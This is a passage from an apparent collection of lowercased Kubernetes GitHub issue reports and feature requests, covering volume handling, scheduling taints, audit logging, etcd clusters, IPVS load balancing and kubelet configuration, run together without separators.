03:42:49.267200   30300 docker_legacy.go:151  no legacy containers found, stop performing legacy cleanup.\r i0102 03:42:49.267254   30300 kubelet.go:606  starting the grpc server for the docker cri shim.\r i0102 03:42:49.267270   30300 docker_server.go:51  start dockershim grpc server\r i0102 03:42:49.283334   30300 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r i0102 03:42:49.284772   30300 kuberuntime_manager.go:178  container runtime docker initialized, version: 17.09.0-ce, apiversion: 1.32.0\r    \r \r the success message  container runtime docker initialized, version: 17.09.0-ce, apiversion: 1.32.0  never gets printed on the failing node. both  docker info  are identical. flannel is up and running and can ping other flannel ips on the network. \r \r \r both docker infos are:\r    \r containers: 25\r  running: 24\r  paused: 0\r  stopped: 1\r images: 9\r server version: 17.09.0-ce\r storage driver: overlay2\r  backing filesystem: extfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: 06b9cb35161009dcb7123345749fef02f7cea8e0\r runc version: 3f2f8b84a77f73d38244dd690525642a72156c64\r init version: v0.13.2  expected: 949e6facb77383876aeff8a6944dde66b3089574 \r security options:\r  seccomp\r   profile: default\r  selinux\r kernel version: 4.13.16-coreos-r2\r operating system: container linux by coreos 1576.4.0  ladybug \r ostype: linux\r architecture: x86_64\r cpus: 24\r total memory: 62.94gib\r name: blade33\r id: oskt:r676:3xmt:554k:2hwv:5dhn:wfbn:5ixb:wvo5:v34a:pus5:m6m7\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: false\r    \r \r the running containers are the osds.

when dynamically creating a pvc and then referencing it from within a deployment, this claim becomes global across the deployment. so if i increase the deployment to more than one pod, everything from pod no. 2 onwards will fail as it the other pods will also attempt to claim the volume, but will be unable to do.\r \r i want to be able to dynamically create a pv  per pod , so that it provisions and tears down the disk as the pod is created and destroyed.\r \r is this currently possible? or is it a feature request?

this is a continuation of the work on the  advanced auditing feature  https://github.com/kubernetes/features/issues/22 \r \r it's planned to release audit logging api to stable in 1.11. here's the list of tasks:\r \r    api-related changes\r \r -     graduate api to stable\r -     integration with admission \r   -  x   add rbac information to audit logs  https://github.com/kubernetes/kubernetes/pull/58807  by @caoshufeng \r   -  x   add podsecuritypolicy admission information to audit logs  https://github.com/kubernetes/kubernetes/issues/56209 \r     - @caoshufeng is working on this in https://github.com/kubernetes/kubernetes/pull/58143\r   -     annotate audit logs in remote admission webhooks\r     - @caoshufeng is working on this in https://github.com/kubernetes/kubernetes/pull/58679\r \r    bugfixes and improvements\r \r -  x   limit the batch physical size in batching audit backend  https://github.com/kubernetes/kubernetes/issues/60432 \r -  x   don't duplicate responsestatus  https://github.com/kubernetes/kubernetes/issues/60108 \r -  x  let a user choose an output api version\r   - @crassirostris is taking over this work from @soltysh in https://github.com/kubernetes/kubernetes/pull/60056\r -     completely remove legacy audit logging\r -  x   optional   invalid api group for delete operations  https://github.com/kubernetes/kubernetes/issues/57829 \r -      optional   always retry audit webhook  https://github.com/kubernetes/kubernetes/issues/55621 \r \r    policy changes\r \r -      optional   gce audit policy should be made re-usable by other setups  https://github.com/kubernetes/kubernetes/issues/53321 \r -      optional  audit policy should be tested  e.g. that it includes all core resources,  more context  https://github.com/kubernetes/kubernetes/issues/52265 issuecomment-329243972  \r \r    to discuss\r \r -      optional   auditing federation setups  https://github.com/kubernetes/federation/issues/213 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  : huawei provides a new container runtime called \ secure container\  based on \ runv\ , it supports passing a block device file name in  /dev  to it and mount it to a path in container, e.g.  docker run -v /dev/sda:/mnt , it will mount the sda to the /mnt in the container. this is for the io performance and stability promotion, as runv is based on hypervisor, if we pass the block device directly to qemu, and qemu add this device to the vm with virtio-blk,  it will be much better passing the directory to qemu and qemu add it to vm through virtio-9p. \r in k8s 1.9, the volume can be \ block mode\ , but as i know, this \ block mode\  volume can only be a volumedevice in pod, kubernetes do not support defining a volumemount with a volume of \ block mode\ . if the block volume can not be defined in the volumemount, then the secure container can not mount a block device, and that promotion can not take effect.\r \r   what you expected to happen  : the \ block mode\  volume can be defined in volumemounts in pod, and the block device file name can be passed to docker runtime in the \ hostpath\  of \ mount\  of a container manifests. \r \r   how to reproduce it  as minimally and precisely as possible   : always\r \r \r   anything else we need to know?  : \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.0\r - cloud provider or hardware configuration: bare metal machines with k8s installed manually.\r - os  e.g. from /etc/os-release :  euleros 2.0  sp2 \r - kernel  e.g.  uname -a  : 3.10.0-327.59.59.46.h27.x86_64\r - install tools: \r - others:\r

the test job that runs regular e2e tests when all alpha features are enabled have been failing: https://k8s-testgrid.appspot.com/google-gce gci-gce-alpha-enabled-default \r \r one thing i noticed is that many \ kube-system\  pods are scheduled onto the master node, causing the node to be overcommitted. the pods include, e.g., heapster, kube-dns, etc, even though the master was tained/marked as unschedulable. i took a closer look at the logs and this seemed to be caused by the new alpha feature to switch to using taints for unschedulable   61161  -- the pods were scheduled to the master node  before  the controller manager tainted the node properly.\r \r kube-controller-manager.log:\r    \r i0515 23:04:32.799346       1 controller_utils.go:248  added  &taint{key:node.kubernetes.io/network-unavailable,value:,effect:noschedule,timeadded:2018-05-15 23:04:32.01059287 +0000 utc m=+44.916948242,} &taint{key:node.kubernetes.io/unschedulable,value:,effect:noschedule,timeadded:2018-05-15 23:04:32.010593023 +0000 utc m=+44.916948519,}  taint to node bootstrap-e2e-master\r    \r \r kube-scheduler.log\r    \r i0515 23:04:31.999793       1 factory.go:1392  attempting to bind monitoring-influxdb-grafana-v4-5c64865875-klq9m to bootstrap-e2e-master\r i0515 23:04:32.019916       1 factory.go:1392  attempting to bind metrics-server-v0.2.1-7c6c844f97-wm9l2 to bootstrap-e2e-master\r i0515 23:04:32.031312       1 factory.go:1392  attempting to bind kube-dns-694c887f5f-4f6kj to bootstrap-e2e-master\r i0515 23:04:32.041949       1 factory.go:1392  attempting to bind heapster-v1.5.3-6f6f4c647f-866qv to bootstrap-e2e-master\r i0515 23:04:32.061453       1 factory.go:1392  attempting to bind l7-default-backend-5d5b9874d5-ltsq9 to bootstrap-e2e-master\r i0515 23:04:32.081330       1 factory.go:1392  attempting to bind event-exporter-v0.1.9-75857bbfd5-sgxdv to bootstrap-e2e-master\r i0515 23:04:32.090780       1 factory.go:1392  attempting to bind fluentd-gcp-scaler-7f76fb89d7-r8sr5 to bootstrap-e2e-master\r    \r \r /cc @bsalamat, @k82cn

currently mountdevice and attach are part of the same interface volume.attacher. this means that any plugin implementing attach must also implement mountdevice and vice versa. \r \r in practice this is not a strict requirement, there are use cases where you may want one or the other alone. ideally you should be able to implement mountdevice without an attach. looking forward, these interfaces are also not coupled in csi so this change would bring it more in line with the capabilities csi supports.\r \r we want to refactor mountdevice and related methods into a new seperate  localattacher  interface.\r \r   /cc @saad-ali @jingxu97 @msau42 @verult \r \r \r

we expect the accessmodes in pv spec to be the  all ways  the volume supports,\r https://github.com/kubernetes/kubernetes/blob/029bb4e213502268af6222cc2f6903ab90de751b/pkg/apis/core/types.go l278-l280\r and accessmodes in pvc spec is what user wants.\r https://github.com/kubernetes/kubernetes/blob/029bb4e213502268af6222cc2f6903ab90de751b/pkg/apis/core/types.go l393-l395\r \r then which one should we take into account to forbid multi-attach  ? \r for example: rbd for now support  rwo  and  rox   we can create a pv with accessmodes setting to  rwo  and  rox  , if a user create a pvc with  rwo , should we forbid multi-attach ?\r \r   what happened  :\r depending on accessmodes in pv spec. will not forbid multi-attach in the situation described above.\r \r   what you expected to happen  :\r depending on accessmodes in pvc spec  what user wants  \r \r /assign\r  /cc @jsafrane @msau42 @jingxu97 \r

spun off from https://github.com/kubernetes/kubernetes/pull/55183\r \r webhook latency metrics grow o m n  with resources and admission controllers. on a large cluster with lots of crds this causes a significant amount of memory use and churn. on a smaller cluster with lots of admission controllers and crds, 75% of all apiserver prometheus metrics  38k series out of 46k series  were this metric.\r \r the primary dimension that is arguably not useful is by resource type and sub resource, since the vast majority of these are not matched.  i think we should drop the resource and subresource latency tracking.  the extra fidelity is not worth the increased cost of tracking these metrics.

trying to do multi-master cluster,\r first of all, we try to make a etcd cluster  based on this lhttps://kubernetes.io/docs/setup/independent/setup-ha-etcd-with-kubeadm/\r but we've got a result:\r member 45bb04c0f4ab315b is healthy: got healthy result from https://xxx.xxx.xxx.xxx:2379\r member ad96f29c89b43070 is healthy: got healthy result from https://xxx.xxx.xxx.xxx:2379\r member ee4fa581d5988965 is unreachable: no available published client urls\r cluster is healthy\r \r docker run --rm -it --net host -v /etc/kubernetes:/etc/kubernetes quay.io/coreos/etcd:v3.2.18 etcdctl --cert-file /etc/kubernetes/pki/etcd/peer.crt --key-file /etc/kubernetes/pki/etcd/peer.key --ca-file /etc/kubernetes/pki/etcd/ca.crt --endpoints https://xxx.xxx.xxx.xxx:2379 cluster-health\r \r \r member 45bb04c0f4ab315b is healthy: got healthy result from https:/xxx.xxx.xxx.xxx:2379\r member ad96f29c89b43070 is healthy: got healthy result from https://xxx.xxx.xxx.xxx2:2379\r member ee4fa581d5988965 is unreachable: no available published client urls\r cluster is healthy\r \r the first node where we are doing all configs, not working. etcd cluster is not available.\r member ee4fa581d5988965 is unreachable: no available published client urls\r \r syslog:\r oct 15 13:27:20 ip-xxx.xxx.xxx.xx kubelet 2417 : f1015 13:27:20.798672    2417 server.go:190  failed to load kubelet config file /var/lib/kubelet/config.yaml, error failed to read kubelet config file \ /var/lib/kubelet/config.yaml\ , error: open /var/lib/kubelet/config.yaml: no such file or directory\r oct 15 13:27:20 ip-xxx.xxx.xxx.xxx systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r oct 15 13:27:20 ip-xxx.xxx.xxx.xxx systemd 1 : kubelet.service: failed with result 'exit-code'\r \r kubernetes 1.11, 1.12 thanks a lot, and waiting for your response. ubuntu 18.04\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i tried to run the hostpath csi test with:\r    \r $ go run hack/e2e.go -- --provider=local --test --test_args=\ --ginkgo.focus=hostpath. should.provision.storage\ \r ...\r /nvme/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/utils/framework.go:22\r    driver: hostpath \r   /nvme/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/in_tree_volumes.go:75\r      testpattern: dynamic pv  default fs   provisioning\r     /nvme/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/provisioning.go:103\r       should provision storage with non-default reclaim policy retain  beforeeach \r       /nvme/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/provisioning.go:188\r \r       oct 24 14:48:57.198: driver hostpath doesn't support dynamicpv -- skipping\r    \r \r i suspect that https://github.com/kubernetes/kubernetes/pull/69441 broke this.\r \r   what you expected to happen  :\r \r the test should run, like it did before.\r \r   environment  :\r - kubernetes version  use  kubectl version  : current master\r - cloud provider or hardware configuration: local cluster\r \r  /cc @msau42 \r /cc @mkimuram \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r as reported  here  https://stackoverflow.com/questions/55749835/kubernetes-1-14-master-doesnt-attach-flexvolume \r \r   what you expected to happen  :\r master should attempt to attach flexvolume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r attempt to load a pod using the  dummy-attachable  https://github.com/kubernetes/examples/blob/master/staging/volumes/flexvolume/dummy-attachable  plugin in the environment below.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.9\ , gitcommit:\ 16236ce91790d4c75b79f6ce96841db1c843e7d2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t06:30:48z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  have also tried with 1.14.0 on server with no success \r - cloud provider or hardware configuration: aws\r - aws image: kope.io/k8s-1.11-debian-stretch-amd64-hvm-ebs-2018-08-17\r - install tools: kops 1.11.1\r

we should see if we can make ipvs do everything we need - it should perform even better than iptables.  a benchmark is in order.  notes:      root@kubernetes-minion-32zi:/home/thockin  ipvsadm -a -t 10.9.8.7:12345 -s rr root@kubernetes-minion-32zi:/home/thockin  ipvsadm -a -t 10.9.8.7:12345 -m -r 10.244.1.27:9376 root@kubernetes-minion-32zi:/home/thockin  ipvsadm -a -t 10.9.8.7:12345 -m -r 10.244.1.28:9376  root@kubernetes-minion-32zi:/home/thockin  ip addr add 10.9.8.7/32 dev eth0  root@kubernetes-minion-32zi:/home/thockin  curl 10.9.8.7:12345 hostb  root@kubernetes-minion-32zi:/home/thockin  curl 10.9.8.7:12345 hosta  root@kubernetes-minion-32zi:/home/thockin  docker run -ti busybox wget -qo- 10.9.8.7:12345 hostb  root@kubernetes-minion-32zi:/home/thockin  docker run -ti busybox wget -qo- 10.9.8.7:12345 hosta      \ masq\  mode is dnat not snat src ip is preserved.  we have to assign the vip to some interface in the root ns.  this is a bit ugly in that ports not exposed by the vip get sent to the host  e.g. 22 .  i think we can fix that by adding another catchall for the vip.  i don't know if there are limits to local ips  not sure if there is a atomic batch update command, but it does handle batch invocation at least.  several scheduling policies, but  rr  seems sufficient, maybe  lc .   sh  seems to give us client affinity.  we can configure timeouts.  we'll need to do something for node-ports, probably still iptables.  i think this  and the other tricks we pull for load-balancers  will be the biggest challenge.  @bentheelder busy? :

let say you building a scratch docker image that want to record events to kube and you have the kube client and you create the recorder like this:      go eventbroadcaster := record.newbroadcaster   eventbroadcaster.startrecordingtosink events  // -> events => record.eventsink recorder := eventbroadcaster.newrecorder kapi.eventsource{component: \ foo\ }       now you start the pod using this image, it does something and then it want to record the result as an event:      go func do   {   // do something   recorder.eventf \ ....\     return }      when this function return, the pod will complete. in this case, if you call  recorder.eventf    right before the function exits, the event will be lost. if you add  time.sleep 1   time.second   before  return , the event will be recorded.  a possible solution is to bypass the  record.newbroadcaster  and just create the event directly using the client. i think more elegant solution would be to add  close    or  flush    method to recorder, that will block until all events are sent to server.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : rbd  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : baremetal  supermicro 1028r  -   os    e.g. from /etc/os-release : coreos 1068.10.0 -   kernel    e.g.  uname -a  : 4.6.3-coreos -   install tools  : custom -   others  :    what happened  :  i first deployed a new pod  via deployment  for running grafana, using two ceph rbd volumes  for  /var/lib/grafana  and  /etc/grafana  .  i then found that i'd mounted a volume over the default config with the  /etc/grafana  mount and decided to just skip that for now and remove that volume. i applied a new version of the deployment with just the rbd for  /var/lib/grafana . it got created on a different node and was unable to mount the volume because it was already mounted on the first node.  on investigation, i found that the original node still had the rbd volumes mapped and mounted. the kubelet logs indicate \ success\  when tearing down the volumes:      sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.809860     766 reconciler.go:179  unmountvolume operation started for volume \ kubernetes.io/secret/6e4e5190-7617-11e6-b97e-0015c5edcf5a-default-token-a7f06\   spec.name: \ default-token-a7f06\   from pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-001 5c5edcf5a\  . sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.809897     766 reconciler.go:179  unmountvolume operation started for volume \ kubernetes.io/rbd/6e4e5190-7617- 11e6-b97e-0015c5edcf5a-grafana-cfg\   spec.name: \ grafana-cfg\   from pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\  . sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.809915     766 reconciler.go:179  unmountvolume operation started for volume \ kubernetes.io/rbd/6e4e5190-7617-11e6-b97e-0015c5edcf5a-grafana-data\   spec.name: \ grafana-data\   from pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\  . sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.840960     766 operation_executor.go:843  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/6e4e5190-7617-11e6-b97e-0015c5edcf5a-default-token-a7f06\   outervolumespecname: \ default-token-a7f06\   pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\  . innervolumespecname \ default-token-a7f06\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \  sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.843030     766 operation_executor.go:843  unmountvolume.teardown succeeded for volume \ kubernetes.io/rbd/6e4e5190-7617-11e6-b97e-0015c5edcf5a-grafana-data\   outervolumespecname: \ grafana-data\   pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\  . innervolumespecname \ grafana-data\ . pluginname \ kubernetes.io/rbd\ , volumegidvalue \ \  sep 08 23:03:04 af002385 docker 630 : i0908 23:03:04.844789     766 operation_executor.go:843  unmountvolume.teardown succeeded for volume \ kubernetes.io/rbd/6e4e5190-7617-11e6-b97e-0015c5edcf5a-grafana-cfg\   outervolumespecname: \ grafana-cfg\   pod \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\   uid: \ 6e4e5190-7617-11e6-b97e-0015c5edcf5a\  . innervolumespecname \ grafana-cfg\ . pluginname \ kubernetes.io/rbd\ , volumegidvalue \ \       you can see that each volume appears twice in the output of  mount   which is true of apparently everything under  /var/lib/kubelet :      /dev/rbd0 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/docker-image-grafana-cfg type xfs  rw,relatime,seclabel,attr2,inode64,sunit=8192,swidth=8192,noquota  /dev/rbd0 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/docker-image-grafana-cfg type xfs  rw,relatime,seclabel,attr2,inode64,sunit=8192,swidth=8192,noquota  /dev/rbd1 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/docker-image-grafana-data type xfs  rw,relatime,seclabel,attr2,inode64,sunit=8192,swidth=8192,noquota  /dev/rbd1 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/docker-image-grafana-data type xfs  rw,relatime,seclabel,attr2,inode64,sunit=8192,swidth=8192,noquota       i expect this might be related to recent changes i had to make to how i'm running docker and kubelet in order to make secret mounts under kubernetes 1.3 work.  bindmounting /var/lib/kubelet onto itself and then marking it shared, per some updated hyperkube instructions... that i can no longer find.  see below for details of how i'm running kubelet.    what you expected to happen  :  that the original node would successfully unmount and unmap the rbd volumes.    how to reproduce it    as minimally and precisely as possible :  delete a pod with an rbd volume running in a kubelet, possibly with my specific options.  see below.     anything else do we need to know  :  here's the systemd unit for running the kubelet:       unit  description=kubernetes worker node wants=network-online.target after=network-online.target   service  execstartpre=/usr/bin/mkdir -p /etc/kubernetes/manifests execstartpre=-/usr/bin/docker kill kubelet execstartpre=-/usr/bin/docker rm kubelet execstartpre=/usr/bin/bash -c \ /usr/bin/mountpoint -q /var/lib/kubelet || /usr/bin/mount --bind /var/lib/kubelet /var/lib/kubelet\  execstartpre=/usr/bin/mount --make-shared /var/lib/kubelet execstartpre=/usr/bin/docker pull docker.imvu.com/kubernetes/hyperkube:v1.3.6 execstart=/usr/bin/docker run \\         --name kubelet \\         -v /etc/kubernetes:/etc/kubernetes \\         -v /etc/ssl:/etc/ssl:ro \\         -v /etc/ceph:/etc/ceph \\         -v /usr/sbin/modprobe:/sbin/modprobe:ro \\         -v /lib/modules:/lib/modules:ro \\         -v /dev:/dev \\         -v /root/.docker/config.json:/root/.docker/config.json:ro \\         -e home=/root/ \\         --net=host \\         --pid=host \\         --privileged \\         --volume=/:/rootfs:ro \\         --volume=/sys:/sys:rw \\         --volume=/var/lib/docker/:/var/lib/docker:rw \\         --volume=/var/lib/kubelet/:/var/lib/kubelet:rw,shared \\         --volume=/var/run:/var/run:rw \\         docker.imvu.com/kubernetes/hyperkube:v1.3.6 \\     /hyperkube kubelet \\         --containerized \\         --api-servers=https://10.2.0.24 \\         --register-node=true \\         --allow-privileged=true \\         --config=/etc/kubernetes/manifests \\         --cluster-dns=10.96.0.2 \\         --cluster-domain=k8s.prod.imvu.com \\         --kubeconfig=/etc/kubernetes/worker-kubeconfig.yaml \\         --kube-reserved=cpu=500m,memory=128mi \\         --node-labels=%s \\         --tls-cert-file=/etc/ssl/host-cert.pem \\         --tls-private-key-file=/etc/ssl/host-key.pem restart=always restartsec=10       the %s is replaced with a string at generation time.    docker.imvu.com/kubernetes/hyperkube:v1.3.6  is a customized image based on the upstream hyperkube dockerfile, with some extra packages and rebased on top of a version of ubuntu that we ensure has all security updates. here's the dockerfile for it:      from docker.imvu.com/base/ubuntu:16.04  add docker/kubernetes/hyperkube/ceph-release.asc /tmp/ceph-release.asc run apt-key add /tmp/ceph-release.asc  add docker/kubernetes/hyperkube/ceph.list /etc/apt/sources.list.d/ceph.list run apt-get update  run apt-get-for-docker.sh \\     ca-certificates \\     ceph-common \\     conntrack \\     curl \\     ethtool \\     file \\     git \\     iptables \\     socat \\     nfs-common \\     util-linux  run cp /usr/bin/nsenter /nsenter  copy docker/kubernetes/hyperkube/hyperkube /hyperkube run chmod a+rx /hyperkube  run ln -s /hyperkube /kubelet      the hyperkube binary there is the one from the 1.3.6 release tarball.

users have requested the ability to set local min/max replica constraints for any resource that is a target for manual scaling  i.e. deployment / replicaset / replicationcontroller / job / petset .    the idea is that each spec for the related resources would have the following  similar to hpa :      // lower limit for the number of replicas  defaults to 0  minreplicas  int32  json:\ minreplicas,omitempty\   // upper limit for the number of replicas maxreplicas  int32  json:\ maxreplicas,omitempty\        if a user submitted a  kubectl scale  command that caused  replicas  to fall out of the configured boundary, the request would fail validation, and not proceed.  the example use case is as follows:  > when deploying a database  pod  with no replication using persistent volumes and persistent volume claims, i want to restrict the scaling of the pod to no more than one replica.  the reason is that i don't want data distributed over various persistent stores causing fragmentation.  keeping a min/max local to the resource may make the most sense, and is easily enforceable via validation.  i had debated a pattern using  limitrange  but that has the drawback that the scope covered is too large.  while i am interested in adding label selectors to limitrange to let you scope constraints to particular classes of things better, i think in this case, it may make the most sense to have min/max replicas on the local resource that is being constrained most closely.  thoughts?  /cc @smarterclayton @eparis @bgrant0607 @lavalamp

the original commit for  hack/verify-flags/known-flags.txt  claims that the purpose is for preventing flags that have  _  in the flag name. it claims that this list is used to speed up the search so that it is not obtrusive as a pre-commit hook. \r \r does anyone actually use the pre-commit hooks anymore? when i joined the project, these already took so long that i almost immediately turned them off.\r \r can we move flag verification off of relying on known-flags.txt and no longer have to edit that file every time we add/remove a flag?\r \r @kubernetes/test-infra-reviewers what do y'all think of this?

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r admittedly, this is a rather exotic use case but at least one other user   47268  also needs pod hostnames that depend on where the pod is scheduled. the ultimate goal is that when the  hostname  command is run inside any container of the pod, it returns this value.\r \r as i state in https://github.com/kubernetes/kubernetes/issues/47268 issuecomment-350751809, we have accomplished this in kubernetes 1.6 with the following pieces:\r \r 1. custom controller that sets  spec.hostname  after the pod has been scheduled.  as a reminder, kubernetes 1.6 allows setting this field after apiserver admission. this has since been disallowed in kubernetes 1.8. \r 2. custom soft admit handler in kubelet that returns error until  spec.hostname  has been set, effectively stalling the creation of the  pause  container.\r \r the obvious answer is to modify the validation to allow  spec.hostname  to be set after apiserver admission. but i appreciate the hesitance to do so given its lack of general utility. in other words, if a user sets this field after admission, they have a reasonable expectation that something will happen in response. i don't believe anything happens in response to this modification today.\r \r but the alternative is to put the custom hostname in an annotation and have a kubelet net plugin do something with it. according to  47268, this doesn't work. there's also a bit of dirtiness that  spec.hostname  is ignored and does not reflect the actual pod hostname.\r \r   what you expected to happen  :\r \r be able to set  spec.hostname  after pod admission  or another alternative .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  @kubernetes/sig-network

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r there is a drawback after pr: https://github.com/kubernetes/kubernetes/pull/62612\r following  getdiskcontroller  code will fetch vmcache may lead to below error and the vmcache refresh time period would be 1 min, and  mountvolume.waitforattach  may cost 1 min which is too long time\r https://github.com/kubernetes/kubernetes/blob/ba66014fec87274322fc08190ec405cfb704a7d5/pkg/volume/azure_dd/attacher.go l162\r \r    \r mountvolume.waitforattach failed for volume \ pvc-12b458f4-c23f-11e8-8d27-46799c22b7c6\  : cannot find lun for disk kubernetes-dynamic-pvc-12b458f4-c23f-11e8-8d27-46799c22b7c6\r    \r \r   how to fix this  \r at least in linux, we may still use  devicepath  parameter to get lun, which is almost zero time.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r probably caused by https://github.com/kubernetes/kubernetes/pull/70193\r \r <!-- do not edit below this line -->\r 

limit outbound and inbound bandwidth, using the  tc  tool, see:  https://www.iplocation.net/traffic-control

we just restore ability to run against secured etcd here  21535, but insecureskiptlsverify is still questionable in secured etcd. we need to decide whether we should add this. @liggitt @timothysc @bgrant0607 @xiang90 ptal.

the high availability diagram still references podmaster, which appears to have been deprecated as of kubernetes v1.2  http://kubernetes.io/docs/admin/high-availability/  this should be updated to remove podmaster, and instead call out the --leader-elect flags on the apiserver/scheduler.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?   : copy-to-staging\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request / refactoring. \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   environment  :\r -   cloud provider or hardware configuration  : google cloud  gce \r \r   what happened  :\r \r whenever i execute cluster/kube-up.sh it copies my tar files to google cloud, even if the files haven't changed. these files are a few hundred megs and can take a long time to upload.\r \r   what you expected to happen  :\r \r i'd like cluster/gce/utils.sh copy-to-staging function to check whether a matching tar already exist, and avoid uploading it again in this situation.\r \r   how to reproduce it  :\r execute cluster/kube-up.sh\r \r here is the current behavior:\r cluster/kube-up.sh \r ... starting cluster in 